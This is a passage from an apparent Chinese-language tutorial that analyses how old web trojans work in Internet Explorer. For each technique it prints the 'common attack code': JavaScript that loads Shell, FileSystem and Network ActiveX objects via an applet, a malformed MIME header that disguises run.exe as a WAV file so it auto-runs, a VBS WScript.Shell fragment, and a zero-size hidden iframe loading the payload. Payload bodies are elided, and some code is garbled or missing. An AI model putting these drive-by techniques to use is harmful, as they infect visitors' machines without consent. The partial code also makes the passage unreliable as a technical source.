六、常用网页木马运行原理的分析
1.javascript.Exception.Exploit
常用的攻击代码:
Function destroy(){
try
{
//ActiveX initialization 初始化ActiveX,为修改注册表做准备
a1=document.applets[0];
//获取applet运行对象,以下语句指向注册表中有关IE的表项
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
开始进行破坏
}
}
catch(e)
{}
}
catch(e)
{}
}
function do()
{
//初始化函数,并每隔一秒执行修改程序
setTimeout("destroy()", 1000); //设定运行时间1秒
}
Do() //进行破坏的执行函数指令
这个代码是javascript编写,很简单,但却可以修改受影响系统的注册表,释放垃圾文件,格式化硬盘等。
2.错误的MIME Multipurpose Internet Mail Extentions,多用途的网际邮件扩充协议头
常用的攻击代码:
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====B===="
--====B====
Content-Type: multipart/alternative;
boundary="====A===="
--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
--====A====--
--====B====
Content-Type: audio/x-wav;
name="run.exe"
Content-Transfer-Encoding: base64
Content-ID: ---以下省略AAAAA N+1个---
把run.exe 的类型定义为audio/x-wav,这是利用客户端支持的 MIME(多部分网际邮件扩展,Multipart Internet Mail Extension) 类型的漏洞来完成的。当申明邮件的类型audio/x-wav时,IE存在的一个漏洞会将附件认为是音频文件自动尝试打开,,结果导致邮件文件x.eml 中的附件run.exe被执行。在win2000上,即使是用鼠标点击下载下来的 x.eml,或是拷贝粘贴,都会导致x.eml中的附件被运行。整个程序的运行还是依靠x.eml这个文件来支持。Content-Transfer- Encoding: base64 Content-ID: 从中可以看出,由于定义后字符格式为base64,那么一下的代码全部为加密过的代码,里面可以是任何执行的命令:
〈script language=vbs〉
On Error Resume Next• 容错语句,避免程序崩溃
set aa=CreateObject("WScript.Shell")•建立WScript对象
Set fs = CreateObject("Scripting.FileSystemObject")•建立文件系统对象
Set dir1 = fs.GetSpecialFolder(0)•得到Windows路径
Set dir2 = fs.GetSpecialFolder(1)•得到System路径
……省略……
之所以有的病毒不能准确的清除全部的病毒体,是因为很多杀毒软件,病毒监控只杀当时查到的,却不能处理新建的文件。
3.Iframe 漏洞的利用
常用攻击代码:
(1)
(2)
〈iframe src=run.eml width=0 height=0〉〈/iframe〉
常见的木马运用格式,高度和宽度为0的一个框架网页。
(3)
一个框架引用的新方式,对type="text/x-scriptlet" 的调整后,就可以实现和eml格式文件同样的效果。
4.Microsoft Internet Explorer浏览器弹出窗口Object类型验证漏洞的利用
常见攻击代码:
----- code cut start for run.asp -----
----- code cut end for run.asp -----